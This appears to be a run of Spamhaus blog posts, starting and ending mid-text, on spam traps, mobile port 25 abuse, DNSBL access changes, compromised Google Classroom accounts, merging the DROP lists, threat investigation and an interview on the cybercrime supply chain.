Gmail accounts, plus a Yahoo and another at Hotmail, for research purposes (and for those sweet signup incentives, like free shipping and 20% off!). A secondary address is not only much less likely to exhibit consistent positive engagement, but may eventually exceed capacity and bounce, and could even ultimately become a recycled spam trap if left unmonitored long enough. The keyboard bash: If users are certain that they don’t need any mail from your brand, they might just pound out pure gibberish and qwertyuiop their way to the “submit” button. These addresses could bounce off your mailing list, but they could also be spam traps. Some smashed submissions might even be deliverable addresses that belong to another person altogether. When that person receives your email, they have no idea why and either ignore it, unsubscribe, or report it as spam. The deliberate deception: Email addresses use a standard format, but there are infinite options for both the local part and the domain. Thanks to this familiar flexibility, users can easily elude unwanted emails by merely changing a few characters. With one minor modification, alison@gmail.com becomes allison@gmail.com, and some other schmuck ends up with the spam I successfully sidestepped. A stray swipe and alison@gmail.com turns into alison@gmial.com, which isn’t Gmail but another destination altogether. That domain could belong to the Great Magical International Association of Librarians, or it could be a trap domain: typos of well-known domains are commonly used as spam traps. Consent is critical to sender reputation because legitimate interest propels positive recipient engagement, and mailbox providers make delivery decisions based on actual recipient behavior over time. In other words, your deliverability isn’t dependent on whether you obtained an email address, but on whether its owner wanted to give it to you. Anyone can enthusiastically say “yes” when put in a precarious position. It’s easy for people to click “I agree” when they lack full context of what exactly they’re agreeing to. Valid consent comes from people with a genuine interest in hearing from you. Someone who really wants to engage with your email will give you an address that can receive it, not one that bounces or gets you blocklisted. What should marketers do, then? Instead of obliging or tricking users to “opt in” to your mailing list, create content so compelling that people truly desire it. Rather than requiring that users agree to emails when they have to check the “terms & conditions” box, build a brand so appealing that people ask to be on your mailing list. Don’t bury consent in a menu somewhere! Put it front-and-center and give people ample opportunity to interact without being trapped on a list they didn’t knowingly sign up for in the first place. Sing it with me now, C-O-N-S-E-N-T, for deliver-a-bil-i-ty! Louder for those in the back! If you haven’t seen Alison’s posts on LinkedIn, they’re funny and engaging, and she is simply brilliant—go give her a follow. You won’t regret it!

Spammers Love Mobile Phone IP Space. Here’s How to Fix That.

The Spamhaus Team — Fri, 19 Apr 2024 10:39:01 GMT

Spamhaus removals tickets often seem to arrange themselves in patterns. For a while, we will see a lot of the same type of ticket, then they fade away, and after some time, start again. One such pattern right now is an upswing of removal requests from upset mobile phone users. We have a glut of tickets from people who are unable to send mail from their mobiles, and who are trying everything to resolve it - but they cannot, because the real problem is not being addressed. To wit: they are victims of their own ISP's policies and decisions. ISP’s are still using port 25 Although many ISPs no longer support port 25 for the transmission of email by their residential Internet customers, many still do. But, why is this a problem? A large proportion of port 25 traffic is generated by devices that have been infected with proxyware or malware and are sending spam over port 25 without the user's consent or knowledge. Making SMTP authentication mandatory and simultaneously closing outbound port 25 for end users can prevent such infected devices from freely transmitting spam and malware over the Internet - including mobile devices. Proxyware and malware on mobile devices The problem of mobile devices - phones, laptops, tablets - being infected with proxyware and malware is increasing exponentially. There are literally hundreds of millions of these devices already out there, and more are being added at a terrific rate. As a result, the decision to leave outbound port 25 open on mobile IP pools is now backfiring spectacularly. This is very frustrating! As an industry, we have spent the last 30 years working to eradicate the open relay and spam botnet issue, and we had mostly succeeded. Yet, now we are facing the same problem again, only bigger, “better,” faster, more! What have we been seeing? Using 3UK as an example - 3UK has at least one /15 allocated to mobile IPs (131,072 IPs!). It is not clear whether these are dynamically assigned to single users, or if they are CGNAT, but what is unequivocally clear is that they have left outbound port 25 open on that IP pool. Why? We see the results in our CSS and XBL lists: many of the IPs have been listed because this policy effectively turns their mobile IP pools into spam cannons. How to fix it THE END USERS CANNOT FIX THIS SITUATION. ONLY THE ISPS CAN. ISPs, PLEASE: List your dynamic/mobile/CGNAT ranges in PBL to protect the internet from port 25-relayed spam. Close port 25 outbound for end users, and reserve it only for SMTP servers. The Messaging, Malware and Mobile Anti-Abuse Working Group (M3AAWG) published their recommendation: "Managing Port 25 for Residential or Dynamic IP Space - Benefits of Adoption and Risks of Inaction." ISPs, PLEASE! This would be a win all around: The email generated from the spambots and proxies will try to go out of port 25 and be blocked. Your support teams will get fewer tickets. You will help make bad people sad. The spammers lose a resource! There’s a Corollary Some ISPs are using Spamhaus data against their own users that are in this situation. This is an unsupported use of our datasets: users that are correctly using SMTP authentication should not be denied access to smarthosted mail relays. Use CSS/XBL/PBL only for INBOUND mail, not for outbound! List your dynamic/mobile/CGNAT ranges in PBL to protect the internet from port 25-relayed spam You may want to throttle listed IPs more aggressively on your smarthosts. This is the open relay conversation from 30 years ago, redux - we fixed this once by working together. Let's fix it again!

If you query the legacy DNSBLs via Vultr move to Spamhaus Technology’s free Data Query Service

The Spamhaus Team — Thu, 18 Apr 2024 12:00:00 GMT

The headlines for those in a hurry The fair use policy states that users cannot query via DNS resolvers where there is no attributable reverse DNS; this includes Vultr (we'll explain why later in this article). To provide a clear signal to users that these blocklists are not protecting their email, Spamhaus will return an error code; 127.255.255.254. If you haven't set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing the free blocklists via the Public Mirrors and start accessing the blocklists via Spamhaus Technology’s free Data Query Service (DQS), which you can sign up for here. Once you've verified your email address, you will get access to a "DQS key" to include in your configuration. These config changes take only minutes; see the technical docs for more detail. Why can’t Vultr users query the public blocklists? The blocklists that are made freely available via the Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the fair use policy. Vultr’s default reverse DNS masks organizations' unique identities to the Public Mirrors, so the team can’t attribute usage to individual entities. They have no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via Spamhaus Technology's free DQS. How is the free DQS different from the free Public Mirrors? Usage transparency** - users register to access the free DQS and are provided with a key that records query volumes. Increased performance** - blocklists are updated in real time. Additional protection** - access to more blocklists, including: Zero Reputation Domain Blocklist, Domain Blocklist with Hostnames, and Auth Blocklist. How to access the free DQS Sign up for an account. Verify your email address Log in to your account and access your DQS key. Update your email configuration. We have config guides for mainstream MTAs. How will Vultr users be prevented from querying the free DNSBLs? To ensure the fair use policy is adhered to, queries from IP addresses outside the policy will be blocked, and an error code will be returned. In the case of querying via an open/public resolver, i.e., Vultr, the error code is 127.255.255.254. If your MTA can't correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the free Public Mirrors. When will the error code for Vultr DNSBL users be introduced? The error code will be slowly implemented across Vultr's IP space, commencing from Wednesday, May 22nd, 2024. Please don’t delay - take action now and move to the free DQS. What if I don’t want to use the free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus's IP and domain reputation. If you no longer wish for your mail stream to be protected for free by the blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for DNSBL users having issues due to error codes is detailed here. Previous communications that were sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now Any questions? Not a problem – reach out to us via Twitter (@spamhaus), LinkedIn (@TheSpamhausProject) or our contact form.

Sex education in the classroom? Google can help, but there is a compromise!

The Spamhaus Team — Tue, 16 Apr 2024 14:05:09 GMT

What is Google Classroom? Google Classroom is a web-based learning management system introduced in 2014 that has attracted users from all over the world. It provides teachers with a free platform to run and manage classes online. The concept of classroom education has been around since the ancient Egyptians and has always played a fundamental role in the education system. However, with the outbreak of the global COVID-19 pandemic in March 2020, utilization of online services like Google Classroom has skyrocketed. As with other online services, this also introduces new security challenges. Many schools that use the Google Classroom service are falling victim to online abuse, with many accounts found to be compromised, used for spamming, and other malicious activity - including the ‘Secret Sex Club.’ The Compromised Classroom You might be fooled into thinking this ‘club’ is a new extracurricular class. What teacher wants to deliver sex education face-to-face in a classroom of awkward teens? If only it were that innocent. Sadly, this club has a more sinister objective. And it all starts with a mysterious Google Classroom message sent to a Google Mail address requesting you to join a Secret Sex Club. Once accepted to join the “class” using your gmail.com address, you enter the classroom and are presented with a message, including a link set up by the adversary. It might not be apparent to the untrained eye that there are two immediate signs that the domain in this message is untrustworthy. The first sign is the "ii" typo in "ashleymadiison" a common tactic used by miscreants. The other less obvious sign is the “.club” top level domain (TLD). This is a low-reputation TLD commonly used by spammers for short-term usage. However, this throwaway domain closely resembles the legitimate Ashley Madison dating site - a Canadian online dating and social networking service. And it’s this domain that serves as a starting point for the landing page of a dating service associated with your geographical location. Discreet in nature Spamhaus researchers used an IP address based in the USA, for the investigation. Upon clicking the link, you are directed to what appears to be a fake Ashley Madison website: ashleyrnadison.com. Did you spot the “rn” typo that deviously reads as an “m”? According to this blog post, however, it appears to be the real deal: https://anewdomain.net/ashley-madison-bigger-sister-adult-personals-site-ashleyrnadison-from-avid-dating-services-exclusive/ As only the most motivated individuals will spend time analyzing the spam message and analyzing websites the traffic is being driven to, the affiliate program manager at Ashley Madison is unlikely to discover this. Should someone from Ashley Madison read this post, this is the information you need to identify the abusive user and take action: offer_id=8&affiliate_id=1955&affiliate_sub=DLO-8197 How is this relevant to schools? The vast majority of compromised accounts appear to be associated with schools in Southeast Asian countries, including Indonesia and Thailand. The spammers don’t appear to have a way to forge or obfuscate this information, so we can see a clear picture of which schools need to tighten their Google accounts: jo**69 (at) anubancp.ac.th ca**69 (at) anubancp.ac.th bi**8 (at) sd.belajar.id bi**33 (at) sd.belajar.id Although “anubancp.ac.th” doesn’t appear to have a working website anymore, a quick search points to “โรงเรียนอนุบาลชุมพร", which translates to Anuban Chumphon School, an elementary school - ages 5-11 - based in Southern Thailand. “belajar.id” (Merdeka Mengajar) is an education platform aimed towards Indonesian schools and institutions. How can schools protect their users? Without a detailed understanding of how the Google Classroom interface works and the tools available to users, it’s difficult to offer technical guidance on how to protect users. General security best practices should always be followed, as described in Google's how to make your account more secure. Strong passwords, 2-step verification, reviewing third-party access to your data, updating all software, and disabling any inactive accounts are all recommended. Unfortunately, until Google addresses this issue and takes action against abusive accounts on its platform, this problem will persist. Unlike in the classroom, no one will be getting detention anytime soon!

Domain Reputation Update Oct 2023 - Mar 2024

The Spamhaus Team — Thu, 11 Apr 2024 15:28:23 GMT

New domains remain unchanged (27%), even as ShortDot registered gTLDs .sbs and .bond continue to increase, 172% and 148%, respectively. During this reporting period, 1 million domains were listed - which TLDs and registries are under the spotlight? Read the full report here.

Between input and output: The enigma of being a Spamhaus threat investigator

Jonas Arnold — Wed, 03 Apr 2024 10:02:45 GMT

The data-driven world of Spamhaus At Spamhaus, life as a threat investigator is all about data, preferably structured data. Data flows in via multiple sources, from organizations globally, sharing non-personally identifiable information (PII) data via our in-house spam traps, to law enforcement agencies also sharing data they gain during or after investigations or takedowns. Normalized, validated, enriched, and contextualized data becomes signal. Through careful investigation, "reputation" is attributed, which may lead to certain actions, such as listing domains or IP addresses. Listings that are compiled and made available for consumption via one of the Spamhaus blocklists. Structured data goes in, and structured data comes out. Like many other cybersecurity businesses, you could say Spamhaus is a data business. After all, Spamhaus provides threat intelligence that must be actionable in real-time, highly accurate, and ready to be consumed by Spamhaus users (or rather, their infrastructure) within seconds of the signals being detected by Spamhaus systems. The sheer volume of incoming data makes robust automation a necessity. On average, Spamhaus processes 7.5 million IPs and 3 million domains every 24 hours – approximately 86 IPs and 34 domains per second. At this scale, non-targeted human investigations on raw data simply aren't feasible. Technology that inspires? Oversimplified, technology (particularly IT) is both today's greatest problem and its most promising solution. No matter what topic is hyped up, it appears to be the silver bullet we have all been waiting for - until, too often, we realize that this is not the case. In light of this, it might appear Spamhaus only needs a team to understand and develop big data, machine learning, and any other requirements for processing data at scale. Except, such an approach would miss the most critical part of the threat landscape: humans. While the vast majority of Internet abuse is generated automatically (hence must be addressed automatically), the miscreants behind it are humans. Weird investigators for a weird world Dealing with humans is quirky. They make mistakes, they sleep (not always on a regular schedule), and their behavior can be erratic and unpredictable. So, can't we just let AI take care of Internet abuse? Although some Spamhaus systems make heavy use of machine learning, unfortunately, no. It does not work, at least not to the extent that manual investigation would become obsolete - been there, tried that, “We hope this message finds you well.” This is where human investigations come into play. They are necessary to understand the socioeconomic circumstances that influence internet abuse, to track cybercrime organizations (often including names and faces), and how major events in the analogue or digital sphere incentivize shifts in the cyber threat landscape. For example, a well-connected but less cybersecure country struggling with an economic crisis may become the next hotbed for hosting spam emission farms. After all, even criminal customers bring in the (urgently needed) money. Major geopolitical developments may both enable new abuse schemes and disrupt existing threats at the same time. As law enforcement in a particular region cracks down on more analogue crime, miscreants may seek alternative ways of making illicit revenue, often experimenting with cybercrime, or turning to it entirely. Unsurprisingly, neither automated or manual research at Spamhaus could function without the other. While the latter may seem detached from the actual data, signals, and listings, they are closely interconnected, providing intelligence and investigation leads in both directions. The work is highly interdisciplinary, with team members from diverse backgrounds, locations, and cultures. From a human perspective, threat intelligence often feels more like an art than a science. Investigators can spend many days (and nights) at a keyboard, aimlessly trawling through data. It is often a gut feeling that prompts a closer look. This could be triggered by a rather mundane detail, such as the district of a city appearing repeatedly, a weird infrastructure setup, or the recurrence of a characteristic behavior. The work in between can be surprisingly fuzzy and unstructured for a “structured data in, structured data out” organization. Dropping sufficiently sized anvils from low orbit In contrast to other threat intelligence vendors, Spamhaus's approach to make most of its threat intelligence available immediately is a doubled-edged sword. It provides both users and miscreants, with information on specific types of internet abuse. While it may not be immediately clear to a cybercriminal how Spamhaus has identified their infrastructure, they know if they have been listed. This inevitably induces evolutionary pressure. While human investigations tend to have a more strategic aim, dropping metaphorical anvils on internet infrastructure that poses a threat to users is only a fraction of the process. Monitoring changes afterward can be both educating and challenging - some threat actors adapt within days, while others need months to understand the situation. Operations security mistakes are likely to occur in certain phases of the cybercrime lifecycle, requiring time and attention to spot them and conduct follow-up investigations. Balancing great power with great responsibility Assuming everyone has only one mailbox at their disposal, Spamhaus protects more than half of the world's population—over 4.5 billion mailboxes globally. Sitting in front of a screen that displays the Spiderman quote, "With great power comes great responsibility," is somewhat surreal. Translating an odd “gut feel” into concrete evidence of ongoing or future abuse can be challenging during investigations. Transparent and well-defined policies ensure a standardized approach, keeping emotions out of the process. As the saying goes, "Not all heroes wear capes", so here’s the reality of life as a Spamhaus threat investigator. Imagine a bunch of people at home glued to their computers, attempting to protect Internet users from abuse, hunting for potential threats before they blow up, and dissecting the greatest hits and misses—for many Spamhausians, this both resembles the source of personal satisfaction and motivation to keep going. But, would we change it? Absolutely, not. Do you have the desire and experience to join our team of threat investigators? At Spamhaus we all share the desire to make the Internet a safer, more accountable place. If you want to be part of this journey, please contact us if you'd like to learn more.

Beyond spam: How Spamhaus is strengthening trust and safety for the Internet

The Spamhaus Team — Thu, 21 Mar 2024 09:04:36 GMT

It's all about stopping spam, right? No. Admittedly, spam was the key motivator behind Stephen Linford's founding of Spamhaus in 1998. Larry Page and Sergey Brin were sitting in a garage building a search engine called BackRub, aka Google. Meanwhile, Steve was sitting on a houseboat, steadily getting increasingly frustrated at the amount of spam ending up in his inbox. Instead of whining, he took action and started sharing the IP addresses on forums that he observed spewing out these emails. Users could then use these IPs (DNS blocklists) in their email server configurations to filter messages from spammers. Rapidly, the movement gained momentum, with volunteers joining Steve to reduce spam volumes. So, is there more to the haus than spam? Absolutely. Nowadays, Spamhaus researchers and threat hunters focus on much more than IPs emitting bulk email without consent. From phishing domains to malware files to cryptowallet hashes and URLs, our experts derive a vast amount of actionable intelligence from the immense volume of global internet signals we observe. Sharing the Intelligence Right from its onset, when Steve shared IP addresses to filter spam, sharing data for the good of the Internet has been an intrinsic part of who we are. Our legacy DNSBL servers, located globally, still provide free DNSBLs to organizations that meet our fair use policy. However, like anything legacy, this has been replaced with newer and improved options. Today, on behalf of the Project, Spamhaus Technology provides real-time DNSBLs to users free of charge. Furthermore, the free data shared on behalf of the Spamhaus Project is also available via various delivery mechanisms. This allows users to use it at the DNS level with response policy zones (RPZ) or for investigations through API access. Sharing the responsibility of making the Internet safe Trust and safety on the Internet will never be the sole responsibility of one organization. It takes a vast community to prevent abuse. When it comes to adversaries, it’s a game of whack-a-mole. One bad actor gets shut down, then they pop up elsewhere using different infrastructure and altering their modus operandi. Having solid relationships across the industry (and beyond), tracking and monitoring bad actors, and sharing this intelligence is vital in the fight against malicious Internet behavior. From assisting with the remediation following takedowns such as Emotet and Qakbot to working with law enforcement agencies such as the FBI and Europol, networks, email service providers, registries, and registrars, to name but a few, it undoubtedly is a community effort. Broadening the community There's that word "community" again. Not only does this encompass partnerships with like-minded organizations and providing data free of charge, but it is also about enabling you (and anyone else reading this post) to submit malicious activity you’re seeing. That’s why we created the Threat Intel Community. Whether it’s a single submission or sharing data at volume via an API, it's all possible. Shining a light on the good and the bad Given the amount of Internet traffic we see in a day here at Spamhaus, it won’t come as a surprise that we have a pretty good overview of those service providers taking trust and safety seriously and those only interested in their bottom line. Part of Spamhaus Project's power is that, as an independent non-profit organization, we can advocate for change without any agenda other than for the good of the Internet. This impartiality is a rarity in today’s world. Oh, and let’s not forget our experience (more than two decades of it). Marry this with the data trends we are observing and the expertise of our team, and you’ll understand that we are in a prime position to highlight which organizations could do better (and, on occasion, which organizations are outright failing) when it comes to doing their bit for the Internet. We want to enable a broader range of Internet users to make better choices and avoid heartache in the long term, educating them about the reputation of their IPs and domains and assisting them in preventing this reputation from being compromised. In the words of U.S. Journalist Rebecca MacKinnon, “Internet freedom is not possible without freedom from fear, and users will not be free from fear unless they are sufficiently protected from online theft and attack.” So, we will continue our mission of strengthening trust and safety on the Internet to reduce fear and increase freedom.

Spamhaus DROP and eDROP to become a single list

The Spamhaus Team — Wed, 13 Mar 2024 13:50:14 GMT

What are the Spamhaus DROP lists? If you’re already familiar with the Spamhaus DROP lists, feel free to skip ahead to “Why merge eDROP with the DROP list?” In case you’re not familiar, the DROP lists are free advisory “drop all traffic” lists that include the worst of the worst IP ranges. They consist of netblocks that have been "hijacked" or leased by professional spammers, bulletproof hosters, or cyber-crime operations. When implemented at a network’s or Internet Service Providers’ (ISP) edge routers, the DROP lists help protect from activity directly originating from rogue networks. This includes spam campaigns, encryption via ransomware, DNS-hijacking and exploit attempts, authentication attacks to discover working access credentials, harvesting, and DDoS attacks. They also prevent infected devices from communicating with adversaries using "bulletproof hosting" on listed networks. How are DROP and eDROP different? As outlined, DROP and eDROP lists include netblocks that are "hijacked" or leased by professional spam, cyber-crime operations, or bulletproof hosters. Yet there is a difference. DROP and DROPv6 lists consist of netblocks directly allocated by an established Regional Internet Registry (RIR) or National Internet Registry (NIR) such as AFRINIC, APNIC, RIPE NCC, LACNIC or KRNIC. eDROP and eDROPv6, on the other hand, are an extension of the DROP list that include suballocated netblocks, and are intended to be used in conjunction with the direct allocations on the DROP list. Why merge eDROP with the DROP list? The DROP list was initially created to contain IP ranges directly operated by cybercriminals (based on RIR records showing direct assignments to them). The decision to introduce eDROP as a separate list was based on the idea that, while most organizations would use both lists without making distinctions, some operators may have wished to use the “safer” DROP list only, particularly for usage at the routing level. But then, IPv4 space became exhausted, and direct allocations from RIRs are no longer possible. So, in the majority of cases, organizations now acquire IP addresses as subleases from brokers, normally on a temporary basis. This means the considerations that led us to split listings between DROP and eDROP no longer hold. Therefore, we are switching back to a single DROP list (as was the case before 2012), and disregarding the allocation/assignment mechanism used - focusing only on usage of the listed block by professional cybercrime operations and bulletproof hosters. By consolidating the DROP and eDROP lists, organizations will have access to the most up-to-date and accurate information to protect their network from the most dangerous IP traffic. What is the impact for DROP and eDROP users? For users of both the DROP and eDROP lists, the impact is minimal. Your protection will be maintained, as the eDROP data moves to the existing DROP list. The eDROP files will remain but they will be empty. We’d recommend updating your configuration to remove eDROP, but this is purely for config hygiene; it is not mandatory, and therefore, not updating it will not impact your protection. In cases where users are only utilizing eDROP lists currently, you must update your configuration to instead use DROP moving forward. By not taking this action, you will not benefit from the network protection that eDROP currently provides. Who should use the DROP lists? Network administrators can use the lists to enhance existing blocking/filtering and security measures. In addition, Tier-1 and backbone providers can also use these datasets to filter out malicious traffic from listed netblocks by using them in firewalls and routing equipment. In addition, the lists can also be used: To identify devices infected with malware in your network by noting, in the logs, attempts to make contact (typically via DNS or web) with DROP-listed IP space. For vetting proposed IP ranges of new transit customers. To score DROP ranges exceptionally high in software such as SpamAssassin. In a DNS RPZ zone, to invalidate lookups in these IP ranges. Any device or software that can process IP networks to make a decision can be used to process the datasets, including network gateways, firewalls, web proxies, DNS resolvers, and more. How to access the DROP list The combined DROP/eDROP list will be available to download in JSON format on April 10th, 2024 - where required, please ensure your configuration is updated from this point. Accessing DROP commercially via our partner Spamhaus Technology Given the importance of the DROP list, this data is made available free of charge to any organization that would like to implement this extra layer of protection. For a more robust, commercially-focused solution, which also includes datasets listing compromised and dedicated botnet command and controllers (C&Cs), we make data available via our partner Spamhaus Technology. Find out more about Spamhaus Technology’s BGP Firewall. Any questions? Feel free to reach out to us via Linkedin, X or Mastodon.

Registration, collaboration and disruption - an interview with Dave Piscitello (Part 2)

The Spamhaus Team — Thu, 07 Mar 2024 12:00:00 GMT

In part one, Dave Piscitello, Partner at Interisle Consulting Group LLC discussed several key findings of the Interisle Cybercrime Supply Chain study 2023. Now, let’s explore the role of registries, registrars and other organizations that can affect change in the cybercrime supply chain. Spamhaus: Brand impersonation is a widespread and growing threat. Should registries and registrars be held responsible for screening domain names more rigorously before publishing? Dave: When criminals can register and then impersonate brands with impunity, they can exploit the least technical members of society, especially young and old Internet users. For our study, we identified nearly 170,000 domain names and almost 23,000 subdomain reseller host names that contain an exact match for a brand in their name. If we can find these post hoc, the registrar can find these and delay registration pending an investigation. Some registrars are attempting to do this, and I applaud this, but if there’s no uniform policy across the domain name space, the criminals will look elsewhere. We appreciate that “what brands? how many? and what process?” are important questions, but we and other researchers like us not only look for exact matches but for similarity matches post hoc. If registrars expressed a willingness to commit to mitigating brand impersonation, the research and investigator communities would assist them. Spamhaus: In the study, over 1.5 million domains exhibited malicious bulk domain registration behavior characteristics. This may seem obvious, but can limiting these services reduce cybercrime? Dave: First, let’s discuss the scale of the bulk registration problem. To determine that a domain is part of a set that we believe to be registered in bulk, and because we can’t get registrant contact data, we look for occurrences where sets of ten or more domain names were registered via the same registrar within 10 minutes of each other. Note that we found not tens but hundreds or thousands of domains in many sets. These typically have exact or similar label composition characteristics; for example, bandao101.com, bandao102.com… bandao2048.com, bandao2050.com. We consider these purchases by a single threat actor because it’s unlikely that several unrelated (or non-conspiring) registrants would register domain names with the exact label composition characteristics, simultaneously, in volume, in a matter of minutes. Spamhaus: What did you find? Dave: As you highlighted, we associated 1,529,677 domains with bulk domain registration behavior. These occurred in 29,561 sets. We found occurrences of bulk domain registration in 292 registrars.” We can’t think of legitimate purposes that are served by registering several thousand domains of this kind. Spamhaus: So, your answer is “yes”? Dave: Absolutely. Bulk registration of the kind we identify is a criminal misuse of a dangerous product. Many governments monitor and limit the purchase of pseudoephedrine to limit the manufacture of methamphetamine or ammonium nitrate to prevent the construction of improvised explosive devices. In the extreme cases of ransomware attacks against healthcare, emergency systems or critical infrastructures, the potential harms from bulk registration abuse include loss of life. Similar measures imposed on the registration of domains can protect the public against cybercrimes, cyberattacks, or cyberterrorism. In our study, we recommend that Registrars should refrain from offering forms of bulk registration except in circumstances where the customer acknowledges that they are a legal entity, provides credentials to corroborate their legal entity status, and provides a legitimate purpose (e.g., protection of a registered trademark or a legitimate service offering). Starving criminals of a resource that is too easily acquired in volume isn’t a novel approach, and governments should intervene where policymakers have failed to protect the public. Spamhaus: In the report, you also highlight potential industry failings: “Reactive efforts currently employed by the domain name and hosting industries, governments, and private sector organizations cannot curtail cybercrime and the harms it inflicts on Internet users.” What are the main reasons? Dave: Silos. The gTLD registries and registrars essentially write their own policies. Governments develop policies for their country’s TLDs. Hosting, cloud, blog and website operators don’t have any central or coordinated global policy-making entity. Private sector organizations defend their networks, users, and brands and collaborate ad hoc with law enforcement and cooperative operators. Spamhaus: And what changes are needed? Dave: At a minimum, we advocate the adoption of common (uniform) acceptable use policy and conventions for uniform and timely action to strip criminals of resources associated with a cybercrime (domains, addresses, content). The domain industry, in particular, should put an end to years of trying to define DNS abuse, adopt the definitions from Council of Europe’s Convention on Cybercrime, and prioritize response and enforcement before creating a new greenfield for criminals by adding more TLDs. Spamhaus: Finally, you state in the report, “Interisle believes that adopting the well-known strategy of disrupting supply lines can be effective in mitigating cybercrime." Can you elaborate? Dave: Military history is full of examples of how disrupting supply lines contributes to defeating an adversary. When Japan attempted to invade China in the 16th century, Korea disrupted supply lines. Sherman’s March to the Sea secured the Union’s victory over the Confederacy in the US. Russia’s scorched earth policy broke both Napoleon’s and Hitler’s marches east. Operators must take on roles as disruptors: make it hard for criminals to acquire domain or host names anonymously, cheaply and in volume. Make it hard for criminals to keep malicious content online. Governments must collaborate to accelerate cross-jurisdictional prosecution of cybercriminals. Ask, and law enforcement agents will acknowledge the critical role that private sector investigators play in combatting cybercrime. Operators and governments must embrace the private sector investigators’ roles in combatting cybercrime as well. This is a tall order, but cybercrime continues to worsen while everyone remains siloed. To achieve cybercrime supply chain disruption, cross-industry collaboration is essential; with a focus on developing policies, operational practices, and technical solutions. We want to extend our gratitude to Dave and the Interisle Consulting Group LLC team for their dedication to cybercrime research and for sharing these valuable insights. The Interisle’s Cybercrime Supply Chain study 2023 was sponsored by the AntiPhishing Working Group (APWG), CAUCE, and the Messaging, Malware and Mobile Anti-Abuse Working Group (M3AAWG).

Trends, policy and cheap TLDs - an interview with Dave Piscitello (Part 1)

The Spamhaus Team — Wed, 06 Mar 2024 20:11:57 GMT

Cybercrime supply chains are central to today’s intricate web of cyber threats. Without them, malicious actors wouldn’t have access to the tools, resources, and expertise necessary to execute their attacks. In October 2023, Interisle Consulting Group LLC conducted a study that sheds light on the supply chains used by cybercriminals to acquire resources for malware, spam, and phishing attacks. We met with Dave Piscitello, Partner at Interisle and renowned security expert, for this two-part interview to discuss the study's findings and implications for cybersecurity. Before diving into that interview, here is an overview of the top level-findings from the study: Nearly 5 million domain names identified as resources for cybercrime. Over 1 million new gTLD domain names reported for spam activity. Over 500,000 subdomain hostnames reported as cybercrime resources at 229 subdomain resellers. Bulk domain registration behavior was detected in over 1.5 million domains. Exact matches of well-known brand names used in over 200,000 cybercrime attacks. The United States, China, India, Australia, and Hong Kong had the most IPv4 addresses used for cybercrime. Now, without further delay, let's hear from Dave on some of the learnings from the study... Spamhaus: According to the study, most IPv4 addresses used in cybercrimes appear to be located in large countries. However, are there any small countries that stand out in the study, that carry more than their fair share? Dave: My colleague, Dr. Colin Strutt, took this as a challenge! He collected population and land area data for countries where we observed cybercrime activity. When we judge cybercrime activity based on population, then VG (British Virgin Islands), SC (Seychelles), and HK (Hong Kong) appear to carry more than their share. When we judge cybercrime activity based on land area, then Hong Kong, SG (Singapore) and GI (Gibraltar) stand out. Spamhaus: From your experience, is this a trend that you would expect to see? Dave: Cybercrime resources are often acquired opportunistically: a cybercriminal identifies a service offering or practice that can be used advantageously and misuses that operator or service to acquire what they need to conduct attacks. For example, the ability to register domains or use hostnames that contain brands without interference or to create hosting accounts virtually anonymously most often influence where attacks are hosted. While this set of small countries has been exploited most recently, other ccTLDs, for example, HK, have been similarly exploited in the past, and it’s quite possible that criminals will take advantage of other small countries in the future. Spamhaus: Did you identify any other standout trends or changes in the domain marketplace? Dave: We identified several! Perhaps the most noteworthy trend is how cyberattackers reacted following the Meta lawsuit against Freenom. Prior to the lawsuit, cyberattackers persistently flocked to Freenom’s five commercialized ccTLDs (.TK, .ML, .GA, .CF, .GQ) for phishing and spam domains. These malicious domain registrations accounted for a large percentage of blocklisted domains in the global ccTLD space. Since Freenom closed shop, blocklisted domains in the ccTLDs dropped dramatically. Spamhaus: But… where did they go? Dave: Many turned to the new TLDs, and in particular, to 20 new TLDs that accounted for 80% of all blocklisted domains in the new TLD space. Others turned to free or cheap web or blog hosting service providers, where criminals created user accounts, used the account names as host names and uploaded fake or malicious content to the hosting resources of the reseller. Spamhaus: As you’ve highlighted, Spamhaus researchers consistently see the most abuse with cheap TLDs. In the cybercrime supply chain, how important is price? Dave: Criminals run campaigns or attacks as businesses. Free or cheap resources – domain names and hosting – maximize profit. We only have anecdotal data, but we have an AWFUL lot of it at the Cybercrime Information Center and in our report. In our supply chain study, we identified five new TLDs – TOP, LIVE, ONLINE, SITE and SHOP – with extraordinary numbers of cybercrime domains reported. Visit any registrar we list in our report, and you’ll find at least one of them is offering these or other new TLDs for less than $1 USD. Spamhaus: The study points out that European ccTLDs suffer far less abuse than gTLDs, with registries and registrars enforcing stricter ownership policies. How can the entities that provide these abused TLDs learn from the policies of ccTLDs? Dave: Our supply chain study data show that criminals took most advantage of top-level domains that offered open registrations. By contrast, we observed little or few blocklisted domains among European ccTLDs that require registrants to have a verifiable connection (nexus) to the country, such as proof of residence or evidence of incorporation, as a pre-requisite for domain registration. These TLDs demonstrate that requiring proof of identity or evidence of incorporation as part of the registration process reduces abuse or crime. If all registrant data were validated, that data would be sufficiently accurate to discriminate natural persons from legal entities for the purpose of publishing Whois where legal entities are registrants, and enabling privacy for natural persons where the regulations of their country of residence requires. Criminals would have to work harder to register domains in such a transparent system. Spamhaus: Regarding Whois data, how many domains were identifiable to an owner in the study? Dave: The number is too small to make owner identification via WHOIS or RDAP useful or practical for investigative purposes. In January 2021, we published a study of gTLD contact data availability and found that including ‘proxy-protected’ domains, for which the identity of the domain owner is deliberately concealed, 86.5% of registrants can no longer be identified via WHOIS. We’re repeating this study and expect that percentage will increase. Spamhaus: Why does this present a problem? Dave: The policies that were adopted ostensibly to satisfy GDPR were overkill. The domain industry policy makers didn’t appreciate – or ignored – the urgency associated with suspending a domain that’s causing harm or loss. While they eventually provide a means to request owner identity, the processes, and times to respond, especially for investigators who are not law enforcement, are neither timely nor uniformly enforced. Policy makers generally don’t seem to appreciate that most damage is inflicted within a few hours of the onset of a cyberattack. Prior to the wholesale redaction of domain contact data, one of the most important uses of WHOIS while investigating a cyberattack was to query for a malicious domain, grab the contact data, and then use the contact data to identify any other domains that might also be employed in the attack. This is harder to do now, it takes longer, and 